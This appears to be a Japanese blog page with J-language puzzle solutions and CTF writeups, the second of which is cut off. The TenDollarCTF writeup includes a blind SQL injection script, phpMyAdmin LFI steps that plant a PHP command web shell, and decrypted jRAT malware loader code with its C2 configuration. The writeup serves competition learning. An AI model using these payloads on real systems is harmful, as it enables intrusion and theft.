ふるつき

私は素直に思ったことを書いてるけど、上から目線だって言われる

シクシク素数列アドベントカレンダー J言語編

はじめに

この記事はシクシク素数列 Advent Calendar 2018の10日目の記事です。同時に合成数列の和アドベントカレンダーの番外編記事を投稿していますのでこちらもご覧ください。

furutsuki.hatenablog.com

解答

少し長めです。空白区切りのリストをカンマ区切りにする方法に苦しんで長くなってしまいました。

#!/usr/bin/jconsole.sh
echo ([`(','&[)@.(=&' '))"0@(".^:_1)@(p:@I.@(1&=)@}.@(([,((}.@((<.@(%&10)@{.,+./@(4&=,9&=)@(10&|)@{.)^:(*./@(0&~:@{.,1&~:@}.))^:_)@p:)@#@}.))^:({.~:(+/@}.))^:_)) ".@>(2}ARGV)
exit ''

実行例

$ ./script.ijs 2
19,29
$ ./script.ijs 4
19,29,41,43
$ ./script.ijs 100
19,29,41,43,47,59,79,89,97,109,139,149,179,191,193,197,199,229,239,241,269,293,347,349,359,379,389,397,401,409,419,421,431,433,439,443,449,457,461,463,467,479,487,491,499,509,541,547,569,593,599,619,641,643,647,659,691,709,719,739,743,769,797,809,829,839,8...

出力が長いと途切れてしまうんですが、これの解決方法がわかりません……

解説

数字中に4, 9 が含まれるかを判定する

}.@((<.@(%&10)@{.,+./@(4&= , 9&=)@(10&|)@{.)^:(*./@(0&~:@{.,1&~:@}.))^:_)

(proc)^:(cond)^:_ というのが不定回ループするためのidiomで、再帰は関数単位でしか使えないのに比べて柔軟性があります。10で割っていきながら余りを見て、各桁で4か9が含まれたら1、そうでなければ0を返しています。リストを使った高度なループパターンを構築したと思ったんですが詳細を忘れました。

4949素数列を生成する

p:@I.@(1&=)@}.@(([,(}.@((<.@(%&10)@{.,+./@(4&= , 9&=)@(10&|)@{.)^:(*./@(0&~:@{.,1&~:@}.))^:_)@#@}.))^:({.~:(+/@}.))^:_)

ちょっと読めないですね……。

空白区切りをカンマ区切りに変換する

([`(','&[)@.(=&' '))"0@(".^:_1)

".^:_1 がtoStringにあたる秀逸なコードで、". が eval相当、^:_1逆関数にあたります。これどうやって実現しているんでしょう。

おわりに

スクリプト書いたの昔過ぎて何をしているのか忘れてしまいました。よくこんなの書いたと思います。

合成数列の和アドベントカレンダー番外編(J言語)

はじめに

 合成数列の和アドベントカレンダー は埋まっていたので勝手に番外編を書きます。

解答

次のようなスクリプトが解答になります。実行例もその下に載せています。

#!/usr/bin/jconsole.sh
echo +/ ((([`>:)@.(=&1@#@q:)@>:@$:@<:)`4:)@.(=&1)"0 >:@i.@".@>(2}ARGV)
exit ''
$ ./script.ijs 2
10
$ ./script.ijs 4
27
$ ./script.ijs 10
112
$ ./script.ijs 100

解説

 J言語についてはすべてが http://www.jsoftware.comにあるのでそちらを参照するか、簡単にですが日本語で説明した記事をkosen14sという組織の同人に寄稿しましたのでご覧ください(宣伝)

kosen14s.booth.pm

 さて解説ですが、何時間格闘しても良い説明を書くことができなかったので、コードの断片とその意味を書くにとどめさせていただきます。

素数判定

=&1@#@q:

 受け取った数Nが素数なのかそれとも合成数なのかを返します。q:素因数分解を行っていて、q: 100 だと返り値は 2 2 5 5 になります。

N番目の合成数を返す

(([`>:)@.(=&1@#@q:)@>:@$:@<:)`4:@.(=&1)

入力が1なら4を返し、そうでなければ入力を-1して再帰します。帰ってきた値はN-1番めの合成数なので、次の合成数を得るため+1しています。+1した結果が素数なら更に+1しています。

おわりに

この4はマジックナンバーになるんですかね。消すに消されずという感じではあります

TenDollarCTF 2018 writeup

 2018/11/24 9:00〜2018/11/25 15:00の期間にTenDollar CTF(tendollar.kr)に参加していました。このCTFは個人戦&招待制という色の強いCTFです。なんでこうしてるんだろう。ともかく、st98プロにinvitation codeをもらってzer0ptsとして参加しました。

 点数が解いた人数で変動するタイプのCTFで、結果は2500点で14位。もう一問解けたらTop10に入れそう、というところなので少し悔しさが残ります。Pwnに挑戦すらしていないのとか、Webわからんくて投げるのとかが悪そうで、一人でやるCTFはバランスよく解いて回るか、PwnかWebを全完する勢いで解き尽くすかできないとパフォーマンスがでない印象です。

 なんにせよ以下writeupです。


[Misc 150] Ping! Ping! Ping!

 18Solves あるので簡単な問題といえます。配点の減り方は 1000 - (18 - 1) * 50 だと思う。pcapファイルが渡されて、中身はICMP echoのrequest/replyがずらりと並んでいるだけでした。Wiresharkで雑にパケットの中身を眺めていると、requestの方のデータ部に"PK"などの文字が見えます。ひとまずこれを抽出することにしました。

 こういう場合はtsharkを使うのが楽だと学習しているので、tsharkを使いました。必ず使い方を忘れるのですが、過去記事をたどれば良いことを憶えているのでそんなに大きなロスになりません。ブログをちゃんと備忘録として使えていて偉いと思う。

$ tshark -r ping_ping_ping.pcapng -Y 'ip.dst eq 10.211.55.6' -Tfields -e data.data > packet.data
$ head -3 packet.data
50:4b:03:04:14:00:06:00:08:00:00:00:21:00:df:a4:d2:6c:5a:01:00:00:20:05:00:00:13:00:08:02:5b:43:6f:6e:74:65:6e:74:5f:54:79:70:65:73:5d:2e:78:6d:6c:20:a2:04:02:28:a0:00
02:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00

 これをバイナリに直します。こういうのpythonよりも楽なワンライナーがありそう。

lines = open("packet.data", "r").read().split("\n")
data = []
for l in lines:
    if len(l) == 0:
        continue
    bs = l.split(":")
    for b in bs:
        data.append(chr(int(b, 16)))
open("raw", "wb").write("".join(data))

 変換後のファイルrawfileコマンドにかけると、Microsoft Word 2007+という結果が出たのでLibre Writerで開くとフラグが書いてありました。 TDCTF{Do_you_know_about_the_icmp_protocol?}

 ボーナス問題っぽい。

[Web 450]Linked List 1

 この問題がここまで解かれていないのにはちょっと首を傾げる、そのくらい簡単な問題です。LinkedListを操作できるPHPページの問題で、最初に名前を登録してsessionを開始します。ソースコードが配られているのですが、該当部分はこんな感じ。こんなに@を使ってるPHPのコードを見たのははじめてです。set_ini(display_errors, 0);で十分だと思うのですが、なんでだろう。あと配られたソースコードtemplatesが空っぽだったのはなんなんでしょうね。

if (@$_POST['name']) {
    @$_SESSION['link'] = @array('name' => @htmlspecialchars(@$_POST['name']), 'time' => @time());
    @die("<script type='text/javascript'>location.href='.';</script>");
}

 このサービスはフラグを2つ持っていて、もう一つはLinked List 2なわけですが、1のフラグを吐く箇所はこんな感じです。

if (@$_SESSION['link']['admin_only_list']) {
    unset($_SESSION['link']);
    die("<script type='text/javascript'>alert('GJ!!! The first flag is ".@addslashes(@$flag1)."');location.href='.';</script>");
    ...
}

Listへのinsert時にこういう↓コードがあるので、ユーザ名をadmin_onlyにして開始するだけでフラグが得られます。

if (@$_GET['p'] == 'insert_first' && isset($_GET['value'])) {
    ...
    @$arr[0] = @htmlspecialchars(@$_GET['value']);
    @$_SESSION['link'][@$_SESSION['link']['name']."_list"] = @json_encode(@$arr);
    @die("<script type='text/javascript'>location.href='.';</script>");
}

TDCTF{easy_7o_solve123}

[Web 250]I'm Blind Not Deaf

 逆にこちらは解かれすぎの印象。前半のSolved数は少なかったんですが、寝て起きたら急にSolved数が増えていた。私も寝るまで粘って何故か解けずをしていたのが起きたら解けたという一人ですが。

 2ステージある問題で、最初はBlind SQL Injection。こういうソースコードが渡されます。GETパラメタとしてpwを渡すとSQL Injectionができるので、rootのパスワードを抜けという感じ。2行目のpreg_matchが寝ているので(最初の/がない)、and or substr = にだけ気をつければ良さそう(substrのチェックって substr ( みたいなので回避できるんですかね)。rootが最初の要素として得られるクエリを作れればページにHello rootと表示してくれるので、これがあるかで判定するBlind SQL Injectionになります。

<?php
include './config.php';
if(preg_match('tdf|/_|\.|\(\)/i', $_GET[pw])) exit("No Hack Please~! -0-"); 
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("Manner Please~! :) :)"); 
$query = "select id from tdf where id='root' and pw='{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = mysqli_query($conn,$query);
$row = mysqli_fetch_array($result);
if($row['id'] == 'root'){
#echo "<h2>Nice Meet You! {$row['id']}</h2>";
echo "<h2>Hello {$row[id]}</h2>";
}
 
$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from tdf where id='root' and pw='{$_GET[pw]}'"; 
$result = mysqli_query($conn,$query);
$row = mysqli_fetch_array($result);
if(($row['pw']) && ($row['pw'] == $_GET['pw'])){
echo $nice_tendollar;
}
highlight_file(__FILE__); 
?>

 私が作ったクエリはこんな感じ' UNION SELECT 'root' from tdf where (select 'b' from tdf where pw like '{}%') > 'aで、like句を使ってパスワードを1文字ずつ当てに行きます。スクリプトも書きましたが、Blind SQL Injectionをやる機会は多いのでそろそろテンプレート化したい。

import requests
import string

BASE = "http://blind.tendollar.kr:8100/"
pw="' UNION SELECT 'root' from tdf where (select 'b' from tdf where pw like '{}%') > 'a"

table = string.ascii_letters + '0987654321{}_-' 
a = ""
while True:
    f = False
    for c in table:
        payload = pw.format(a + c)
        r = requests.get(BASE, params={'pw': payload})

        if "Hello root" in r.text:
            f = True
            a += c
            print(a)
            break
    if not f:
        print(a)
        break

 得られたpwの値は70801f6aで、こんなに数字が多いと知っていればtableの配置を工夫できたのになという感じです。これを入力すると、echo $nice_tendollar;が実行されます。中身にflag.txtとあるのであとでめちゃめちゃflag.txtを探し回るんですが、困り果てた挙げ句運営にDMしたら、別にflag.txtにフラグがあるわけではないとのこと。あとで注意書きも加えられてしまったしちょっとださかった。

Congraturation!!!!
Next Question: LFI(Local File Inclusion) in phpMyAdmin 4.8.0~4.8.1...
URL:phpmyadmin/index.php......... flag.txt
root's password:@1@2@3@4qwerasdf

 とにかく、PHPMyAdminが立っているらしいのでログインします。問題の指示に従って"phpmyadmin 4.8.1 lfi"などで検索すると、簡単に情報が見つかります。たとえばこれですね。

 これの手順に沿ってなんどもやってうまく行かなかったんですが、諦めて翌朝やってみたら通りました。手順としては、

  1. PHPMyAdminSQLクエリを実行できるところでselect '<?php phpinfo(); exit();?>'する。phpinfoは脆弱性が動くかどうか確認するためにやるだけで、このあとはselect '<?php passthru($_GET["q"]); exit();?>'とします。
  2. cookieから、KeyがphpMyAdminとなっているものの値をコピーする。
  3. http://blind.tendollar.kr:8100/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../tmp/sess_<cookieの値>&q=ls / にアクセスするとsessionファイルがincludeされてPHPが実行される。

 という感じです。これをやると、FLLLLLL4444444GGGGGGというファイルが見つかるのでcatします。謎に嵌って時間を取られた。確かに /tmp/sess_*も試していたはずなんですが……

TDCTF{F_cong_L_gra_A_tu_G_ration}

[Misc 700]Remember

 高配点のMiscになりました。Hintが出るまで手も足も出なかった。謎の画像が配られます。なんかお兄さんたちが楽しそうに写真に写っています。楽しそう。このファイル(challenge.png)、stegsolveなんかにかけても何も得られないんですが、pngcheckをかけるとadditional data after IEND chunkと言われます。しかしbinwalkではそのようなものが見つからず、かなり試行錯誤した末の投げやりなforemostが当たりました。

 foremostによって抽出されたファイルを見てみると、challenge.pngと同じ画像ともうひとつ、またお兄さんたちが楽しそうにしている別の写真がでてきます。つながってたのかな。こちらはstegsolveにかけてみると、Alpha Bitsが明らかに怪しい感じです。左端の方だけごみごみとしていました。

 この頃にはすでにHintとして昨年のwriteupが紹介されていたので、このスクリプトをそのまま使いました。するとalpha bitsからzipが復元されました。

 このあと復元したzipのパスワードがわからずJohn the Ripperなどを使って盛大に悩むんですが、ちゃんとwriteupを読めという話で、昨年の問題ではパスワード付きzipのパスワードbitを寝かせてやるとそれだけでunzipできるよ! と書いてありました。時々ありますがこれはあんまり好きじゃない。この寝かせるのをやりやすいツールがあると良いんですが知らないので、pythonを使ってzipファイルのバイナリを編集しました。小さいファイルなので雑にやってもうまく行きます。

a = open("dec_challenge.zip", "rb").read()
x = a.find("PK\x03\x04")
y = a.find("PK\x01\x02")

b = list(a)
b[x+4+2] = "\x00"
b[y+4+2+2] = "\x00"

open("tako.zip", "wb").write("".join(b))

 これでzipファイルの中にあったnice_try.txtが抽出できました。中身はBrainF*ckなのでインタプリタにかけました。

-[--->+<]>-.[----->+<]>.-.>-[--->+<]>-.[----->+<]>++.>--[-->+++++<]>.-[->+++<]>.-----.------.++.------.++.+++++++++++++.----------.-----.++++++.----.--[--->+<]>--.++++++.[->+++++<]>++.[--->+<]>-.-----.+[----->++<]>-.+++++++++.+.-----.+.------.++++++++++++++.--------.[--->+<]>----..++[->+++<]>++.++++++.--.>--[-->+++<]>.

TDCTF{nice_and_easy_to_hide_message}

[Rev 950] InterMutation

私を入れて2人しか解いていないので950点と高配点の問題です。FirstBloodを頂いて、終了1時間前くらいまではずっと私が点数を独占していた問題なので、欲を言うと最後まで解かれてほしくなかった。いろいろやったので手順前後などがあるかもしれませんが、記憶を頼りにwriteupしていきます。

 ENCRYPT_KEYがFlagだという文言とともにmalware.zipという物騒なファイルが渡され、unzipするとmalware.jarという物騒なファイルが出てきます。jar -xf malware.jarとして展開します。com/intermutation/inweavedcom/intermutation/thoracaortaというディレクトリにないにhogehoge.xxxのようなファイルがばらまかれますが、jarファイルのお決まりに反して、殆どはclassファイルではありません。

 唯一のclassファイルであったAlmighty.classデコンパイルします。最近はcfrというデコンパイラを使っています。Almightly.classをデコンパイルすると、次のような感じで、Javaによって作られたJavaScriptエンジンを呼び出しているようです。

/*
 * Decompiled with CFR 0.135.
 */
package com.intermutation.thoracaorta;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class Almighty {
    public static ScriptEngine madrones;

    public static void main(String[] arrstring) throws Throwable {
        madrones = new ScriptEngineManager().getEngineByName("javascript");
        madrones.eval("IIIIIIIIIIIIIIIIIiIIIiIiiIiiIIII = java.lang.Byte[('TYPE')]; IIIIIIIIIIIIIIIIIIIiiiIIiiiIIIII=('q'+'ua.e'+'nter'+'prise.re'+'aqto'+'r'+'.'+'r'+'eaqtion'+'s.stan'+'dart'+'bootst'+'rap.Hea'+'der'); Iiiiii

 がんばってJS部分をbeautifyすると、次のようになりました。

stdbootstrap = 'qua.enterprise.reaqtor.reaqtions.standardbootstrap.Header';
almightly = java.lang.Class['forName']('com.intermutation.thoracaorta.Almighty');
classLoader = almightly.getClassLoader();

f = function() {
    byteArray = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, [5301, 5312, 5301, 5301]);
    resource = almightly.getResource('/com/intermutation/thoracaorta/Femurs.toy');
    stream = resource.openStream();
    inputStream = new java.io.DataInputStream(stream);
    inputStream.readFully(byteArray);
    aesCipher = javax.crypto.Cipher.getInstance('AES');
    secretKey = 'nPFTbER4KORr6vbf'.getBytes('UTF-8');
    key = new javax.crypto.spec.SecretKeySpec(secretKey, ('AES'));
    aesCipher.init(javax.crypto.Cipher.DECRYPT_MODE, key);
    decrypted = aesCipher.doFinal(byteArray);
    classLoader = java.lang.ClassLoader.class;
    stringClass = java.lang.String.class;
    decryptedClass = decrypted.getClass();
    integerType = java.lang.Integer.TYPE;
    defineClass = classLoader.getDeclaredMethod('defineClass', stringClass, decryptedClass, integerType, integerType);
    defineClass.setAccessible(true);
    qua = defineClass.invoke(classLoader, 'qua.enterprise.reaqtor.reaqtions.standartbootstrap.Header', decrypted, 0, decrypted.length);
    hoge = qua;
};
f();
hoge.newInstance();

 雑な理解によれば、/com/intermutation/thoracaorta/Femurs.toyというファイルを読み込んできて復号しています。AESの鍵も埋まっていて、まさかそんなと思いながらTDCTF{nPFTbER4KORr6vbf}をSubmitしましたが当然はずれでした。復号してきたファイルがとあるクラスのByte列らしく、defineClassでクラス(かオブジェクト、よくわからない)に無理やりキャストして、そのあとnewInstanceを呼んでいるようです。

 この処理にしたがってFemrus.toyデコンパイルします。こういうJavaを書きました。

import java.security.AlgorithmParameters;
import java.security.Key;
import java.security.SecureRandom;
import java.lang.reflect.Method;
import java.lang.reflect.Field;
import java.security.ProtectionDomain;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.spec.SecretKeySpec;
import java.io.RandomAccessFile;

class Hoge {
        public static void main(String[] args) throws Exception {
                byte[] secretKey = "nPFTbER4KORr6vbf".getBytes("UTF-8");

                RandomAccessFile f = new RandomAccessFile("com/intermutation/thoracaorta/Femurs.toy", "r");
                byte[] b = new byte[(int)f.length()];
                f.readFully(b);

                SecretKeySpec key = new javax.crypto.spec.SecretKeySpec(secretKey, "AES");
                Cipher cipher = Cipher.getInstance("AES");
                cipher.init(Cipher.DECRYPT_MODE, key);
                byte[] bytes = cipher.doFinal(b);

                System.out.println(bytes.toString());

                ClassLoader loader = new ClassLoader() {};
                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", 
                                                                 String.class,
                                                                 byte[].class, 
                                                                 int.class, 
                                                                 int.class, 
                                                                 ProtectionDomain.class);
                defineClass.setAccessible(true);
                Class<?> c = (Class<?>) defineClass.invoke(loader, "qua.enterprise.reaqtor.reaqtions.standartbootstrap.Header", bytes, 0, bytes.length, null);


                // System.out.println(c.getName());
                // System.out.println(c.getClassLoader());
                // System.out.println("----");


                // Field[] allFields = c.getClass().getDeclaredFields();
                // for (Field field : allFields) {
                //         System.out.println(field.getType().getTypeName()+":"+field.getName());
                // }
                // System.out.println("----");

                // Method[] allMethods = c.getClass().getDeclaredMethods();
                // for (Method method : allMethods) {
                //         System.out.println(method.getName());
                // }
        }
}

 コメントアウト部分は頑張ってクラスを解析しようとしていた形跡です。結局うまく行かないしinvokeも失敗したので、復号後のバイト列をHeader.classみたいなファイルにリダイレクトしてcfrデコンパイルしました。多分いろいろ手を加えたやつですが、Header.javaはこんな感じです。

/*
 * Decompiled with CFR 0.135.
 * 
 * Could not load the following classes:
 *  qua.enterprise.reaqtor.reaqtions.standartbootstrap.Header
 */

import java.io.ByteArrayInputStream;
import java.io.DataInputStream;
import java.io.IOException;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Method;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.NoSuchAlgorithmException;
import java.security.ProtectionDomain;
import java.util.Map;
import java.util.zip.GZIPInputStream;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;

/*
 * Exception performing whole class analysis ignored.
 */
public class Header
extends ClassLoader {
    private static String obfuscationAppendix = "73x30fawybwxf1zp6cwa4oSJzrLPtfhypaNvW8zxtFltfr5S6dUcfur1ns7FB7OxacWawrjXZ70ZyFIYPPaxHKGtGrB7GHSFhEB9vWiVReTmTLjuZuG9vOQTZUatLOUH4lViamFxTvEBMcjvI68zeH5p3G3rYVA14PVnaU3gF4mId0RIbbip5U9J7oWVVQ44GZIBCDWo0FAoYYAC6vLeRuxon2Vr2iQ47XyAAMZ5kdRmWrmFeuwuIE9ihQ0hIcoakhrl3dkgmq0T4to76qRnD0cYCyqO41D2y1YlprCdVxxYV1ezJFTaAjI3xMnIsyc2QYkQIoRqNv8d8AWvwcenS29Kao1EkfmtXbVehX0VT0qscqTUZmtgUre22X4xRH5G4WrZ5djt2t1quIt5Q1NcZNuaNsAMaXUOX5pHo";
    private static String firstClassName = "com.intermutation.thoracaorta.Almighty";
    private static Class firstClass;
    private static ProtectionDomain firstClassProtectionDomain;
    public static String CAT_bootstrap;
    public static String CAT_obfuscated;
    public static final String[] predefinedClassNamesToBeLoaded;
    private static Map<String, Object[]> obfuscatedEntryList;

    public Header() throws Exception {
        super(Header.class.getClassLoader());
        obfuscatedEntryList = (Map)Header.decryptObject((String)"#", (Object[])new Object[]{new String[]{".encrypted", ".splitted", ".compressed", ".not-fixed"}, new String[]{"com/intermutation/inweaved/Piny.bbl", "com/intermutation/thoracaorta/Bastard.fiz", "com/intermutation/inweaved/Crankless.civ", "com/intermutation/thoracaorta/Sapphists.cuj", "com/intermutation/thoracaorta/Precancelled.rom"}, new int[]{13521, 3120, 3106, 13521}, "qcNVmpvc37PZYmB2"});
        String[] arrstring = new String[]{"qua.enterprise.reaqtor.reaqtions.standartbootstrap.Loader", "qua.enterprise.reaqtor.reaqtions.standartbootstrap.Loader$1$1", "qua.enterprise.reaqtor.reaqtions.standartbootstrap.Loader$1"};
        String string = "qua.enterprise.reaqtor.reaqtions.standartbootstrap";
        String string2 = string + '.' + predefinedClassNamesToBeLoaded[0];
        Class class_ = null;
        Class[] arrclass = new Class[arrstring.length];
        int n = 0;
        for (String object : arrstring) {
            byte[] arrby = Header.decrypt((String)object, (Object[])Header.getEntryData((String)CAT_bootstrap, (String)object));
            int n2 = n++;
            // System.out.println(object);
            // try (FileOutputStream fos = new FileOutputStream("" + n2 + ".class")) {
            //         fos.write(arrby);
            // }

            Class class_2 = this.defineClass(object, arrby, 0, arrby.length, firstClassProtectionDomain);
            arrclass[n2] = class_2;
            Class class_3 = class_2;
            if (!string2.equals(object)) continue;
            System.out.println(n2);
            class_ = class_3;
        }
        for (Class class_4 : arrclass) {
            this.resolveClass(class_4);
        }

        // ★
        for (String k : obfuscatedEntryList.keySet()) {
                String pre = k.substring(0, 10);
                String post = k.substring(11, k.length());
                if (!pre.equals("obfuscated")) {
                        continue;
                }
                byte[] arr = Header.decrypt(post, (Object[])Header.getEntryData(pre, post));
                try (FileOutputStream fos = new FileOutputStream(post)) {
                        fos.write(arr);
                }
        }
//        System.out.println((Object[])Header.getEntryData("obfuscated", "operational/Jrat.class"));
//        byte[] arrby = Header.decrypt((String)"operational/Jrat.class", (Object[])Header.getEntryData((String)"obfuscated", (String)"operational/Jrat.class"));
//        try (FileOutputStream fos = new FileOutputStream("jRat.class")) {
//                fos.write(arrby);
//        }
//

        // ClassLoader classLoader = (ClassLoader)class_.newInstance();
        // Class<?> class_4 = classLoader.loadClass("operational.Jrat");
        // Method method = class_4.getMethod("main", String[].class);
        // method.invoke(null, new Object[]{new String[0]});
    }

    public static Object[] getEntryData(String string, String string2) {
        String string3 = string + '/' + string2;
        Object[] arrobject = (Object[])obfuscatedEntryList.get(string3);
        return arrobject;
    }

    public static Object decryptObject(String string, Object[] arrobject) throws IOException, InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(Header.decrypt((String)string, (Object[])arrobject)));
        return objectInputStream.readObject();
    }

    public static byte[] decrypt(String string, Object[] arrobject) throws IOException, InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException {
        byte[] arrby;
        byte[] arrby3;
        String[] arrstring = (String[])arrobject[1];
        int[] arrn = (int[])arrobject[2];
        String string2 = (String)arrobject[3];
        int n = arrn[0];
        int n2 = arrn[1];
        byte[] arrby4 = string2.getBytes();
        byte[] arrby5 = new byte[1024];
        byte[] arrby6 = new byte[n2];
        int n3 = 0;
        for (String arrby22 : arrstring) {
            int gZIPInputStream;
            InputStream stream = Header.class.getClassLoader().getResourceAsStream(arrby22);
            while ((gZIPInputStream = stream.read(arrby5)) > -1) {
                System.arraycopy(arrby5, 0, arrby6, n3, gZIPInputStream);
                n3 += gZIPInputStream;
            }
        }
        Cipher cipher = Cipher.getInstance("AES");
        SecretKeySpec secretKeySpec = new SecretKeySpec(arrby4, "AES");
        cipher.init(2, secretKeySpec);
        byte[] arrby2 = arrby3 = cipher.doFinal(arrby6);
        arrby = new byte[n];
        n3 = 0;
        GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(arrby2));
        DataInputStream dataInputStream = new DataInputStream(gZIPInputStream);
        dataInputStream.readFully(arrby);
        return arrby;
    }

    static {
        if (firstClassName != null) {
            try {
                firstClass = Class.forName(firstClassName);
            }
            catch (Throwable throwable) {
                throw new RuntimeException(throwable);
            }
            firstClassProtectionDomain = firstClass.getProtectionDomain();
        }
        CAT_bootstrap = "bootstrap";
        CAT_obfuscated = "obfuscated";
        predefinedClassNamesToBeLoaded = new String[]{"Loader"};
    }
}

 おそらくどこかからnew Header()と呼ばれることを想定したクラスで、static初期化子(?)と、特にコンストラクタが意味有りげです。コンストラクタではdecryptObjectdecryptというメソッドが呼ばれています。こちらを見ていくと、どうやら処理はAlmight.javaでの復号と似たもののようです(記憶が蘇ってきたんですが、リソースファイルを読み込むところがコンパイルできなかったので自分で書き直したっぽい)。

 そのあといろいろ悩むんですが省略して、コンストラクタ最初で復号されるobfuscatedEntryListが名前の通り暗号化されたファイルのリストになっているので、★のあたりの処理を加えて一気に復号することにしました(Headerのインスタンスを作るだけのjavaを書いて実行しています)。

 これで大量にファイルが復号されるのですが、このサイトを見てAdWindDecryptor.jarGitHubから手に入れ、復号されたEyh/OlQ/ka.qZZ l/BIS/b.Zbx tI/P/tma.aからconfig-decrypted.jsonを生成します。●

$ java -jar ../AdWindDecryptor.jar -r tma.a -a b.Zbx -i ka.qZZ -o config-decrypted.json

 config-decrypted.jsonはその実jarファイルなので、やはりjar -xfとして展開し、server/resources内のファイルらについて、もう一度AdWindDecryptor.jarをやります。

$ java -jar ../../../AdWindDecryptor.jar -r Key1.json -a Key2.json -i config.json -o config-decrypted.json

 すると今度は本当にjsonが出てきます。結構大きなファイルなので整形した物の先頭付近だけ掲載しておきます。

{
  "NETWORK": [
    {
      "PORT": 2888,
      "DNS": "findthekeymatchdomain.com"
    }
  ],
  "INSTALL": true,
  "MODULE_PATH": "r/B/GD.bIu",
  "PLUGIN_FOLDER": "ucRjANkyiSG",
  "JRE_FOLDER": "UAfqbC",
  "JAR_FOLDER": "NSEzIfVRipw",
  "JAR_EXTENSION": "dGYsUs",
  "ENCRYPT_KEY": "aEkoTmxohieYivqcjBwIAkYXn",
  "DELAY_INSTALL": 2,
  "NICKNAME": "GOD MODE",
  "VMWARE": false,
  "PLUGIN_EXTENSION": "vzkgY",
  "WEBSITE_PROJECT": "https://jrat.io",

というわけでFLAGはTDCTF{aEkoTmxohieYivqcjBwIAkYXn}です。

 ……のように格好良くESPerが発動すればよかったんですが、実際は●地点でoperationalというディレクトリを見に行って泥沼でした。こちらにはjRat.classのようないかにも怪しいファイルがあって、頑張って難読化を掻い潜っていくと忘れたして、偽物のconfig-decrypted.jsonにたどり着きます。こちらはファイルサイズは小さいのですが中身はこんな感じで、しれっとENCRYPT_KEYが鎮座しているので飛びついてしまいました。

{
  "NETWORK": [
    {
      "PORT": 7777,
      "DNS": "127.0.0.1"
    }
  ],
  "INSTALL": false,
  "MODULE_PATH": "zS/lq/BTk.GI",
  "PLUGIN_FOLDER": "DdWDtpinxpf",
  "JRE_FOLDER": "HSIROD",
  "JAR_FOLDER": "fUTkALeaTxM",
  "JAR_EXTENSION": "Vybgol",
  "ENCRYPT_KEY": "cPFjgddXIBcXBCIseEuXTZjwi",
  "DELAY_INSTALL": 2,
  "NICKNAME": "User",
  "VMWARE": false,
  "PLUGIN_EXTENSION": "DhjWU",
  "WEBSITE_PROJECT": "https://jrat.io",
  "JAR_NAME": "uiylKSALYJr",

 あまりにこれが「それ」すぎるので運営に質問しましたがこれは違うとのことでした。なんやねんこれ。まあ解けたので良しです。解けなかったらクソ問って言ってるところでした。

その他感想など

思い立った順に適当に並べてます

  • 問題数や難易度、開催時間がいい感じですごく楽しめた。InterMutationも解けたので満足度が高いです :)
  • st98プロがプロすぎてプロ
  • Modem一切わからなかったのがとってもつらい
  • Ninja, XSSあたりはSolvedも多いし普通に解けそうにみえるんですがわからなかった。XSSXSSしたあとなにすればいいのか詰まっちゃって、Ninjaは一切ないもわからんかった
  • Kou解きたかった。結局LFIっぽいのができただけで終了です。include_once("../board/" + $_GET["f"]);みたいな感じなのかな。どうやってindex.php読むんだろう。
  • Cat Proxyもこういう「なにかできそう」ってさしだされている問題は解きたいんだけど解けなかった。わかりません。
  • Linked List 2をちゃんと読んで解かなかったのは怠慢感がある
  • On My Wayは解析はサクサクできて、適当にLEVELを9まであげてx,yをそれぞれ0-100まで2から4ずつ変化させてGを探していたんですが見つかりませんでした……。何をすればいいのか。
  • へんなところで嵌って解けない問題が多くてつらい。
  • Pwnやれ
  • InterMutationでニセENCRYPT_KEYに嵌ってDMしたときに丁寧に対応してくれたのが印象良すぎてそのあと「Thank you!!!!! I've solved!!!!!!!!!!!!!!!!  💪」とかおくったのはやりすぎ感がある。あのときはちょっとテンション上がってました。

Square CTF Writeup

Square CTF Writeup

 2018/11/9 - 2018/11/15 の期間、insecure(ptr-yudai, yoshiking, theoldmoon0602, hikopiyo) として SquareCTF に挑戦していました。中盤、ptr-yudai が実力を遺憾なく発揮して 2-4位をうろつく展開だったのですが、最終問題を解くことができずに84291点で8位という結果でした。 First Blood からの時間経過で配点が下がることを知らずに(つまり早く解くほど点数が高い)最初の問題に出遅れたこと、最後の問題が解けなかったことが悔やまれますが、8位はなかなか高順位で、Top 10 teams にも入れたことは嬉しいです。

 解いた問題の内訳としては、 hikopiyoが1問、私が1問、残りの7問を ptr-yudai が解きました。私が解いた問題についてWriteupを書きます。

[Rev 86Solves] gofuscated

 名前からは Go の難読化したバイナリが渡されるのかなという感じですが、実際には以下のソースコードが渡されただけでした。

package main

import (
    "encoding/hex"
    "fmt"
    "math/rand"
    "os"
    "regexp"
    "strings"
    "time"
)

/**
 * important computation, part 1 of 2
 */
func compute1(done chan bool) {
    fmt.Printf("\n\n\n\n\n\n")
    frames := []string{
        "\033[6A\r               X \n                  \n               O  \n             Y/|\\Z\n               |\n              / \\\n",
        "\033[6A\r                 \n             X    \n             Y_O  \n               |\\Z\n               |\n              / \\\n",
